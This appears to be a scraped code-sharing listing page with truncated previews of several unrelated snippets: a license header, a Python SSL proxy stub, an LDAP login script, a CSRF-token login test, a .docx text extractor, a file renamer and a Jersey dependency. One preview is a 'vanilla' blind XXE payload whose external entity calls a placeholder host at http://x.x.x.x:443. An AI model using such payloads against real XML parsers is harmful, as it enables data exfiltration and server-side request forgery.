This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Copyright 2016 Henric Andersson | |
| * | |
| * Licensed under the Apache License, Version 2.0 (the "License"); | |
| * you may not use this file except in compliance with the License. | |
| * You may obtain a copy of the License at | |
| * | |
| * http://www.apache.org/licenses/LICENSE-2.0 | |
| * | |
| * Unless required by applicable law or agreed to in writing, software |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys, socket, thread, ssl | |
| from select import select | |
| HOST = '0.0.0.0' | |
| PORT = 5222 | |
| BUFSIZE = 4096 | |
| # Change this with the first two bytes of the SSL client hello |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| try: | |
| from xml.etree.cElementTree import XML | |
| except ImportError: | |
| from xml.etree.ElementTree import XML | |
| import zipfile | |
| """ | |
| Module that extract text from MS XML Word document (.docx). | |
| (Inspired by python-docx <https://github.com/mikemaccana/python-docx>) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # to be able to import ldap run pip install python-ldap | |
| import ldap | |
| if __name__ == "__main__": | |
| ldap_server="x.x.x.x" | |
| username = "someuser" | |
| password= "somepassword" | |
| # the following is the user_dn format provided by the ldap server | |
| user_dn = "uid="+username+",ou=someou,dc=somedc,dc=local" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| ''' | |
| testing a login to meduele using sessions | |
| meduele checks csrf tokens with every request, even during login | |
| ''' | |
| import requests | |
| from BeautifulSoup import BeautifulSoup | |
| # need to capture a valid csrf token | |
| # first visit the login page to generate one |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| """ | |
| Renames the filenames within the same directory to be Unix friendly | |
| (1) Changes spaces to hyphens | |
| (2) Makes lowercase (not a Unix requirement, just looks better ;) | |
| Usage: | |
| python rename.py | |
| """ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| <dependency> | |
| <groupId>com.sun.jersey.jersey-test-framework</groupId> | |
| <artifactId>jersey-test-framework-grizzly2</artifactId> | |
| <version>${jersey.version}</version> | |
| <scope>test</scope> | |
| </dependency> | |
| */ | |
| package restful.server.resource; |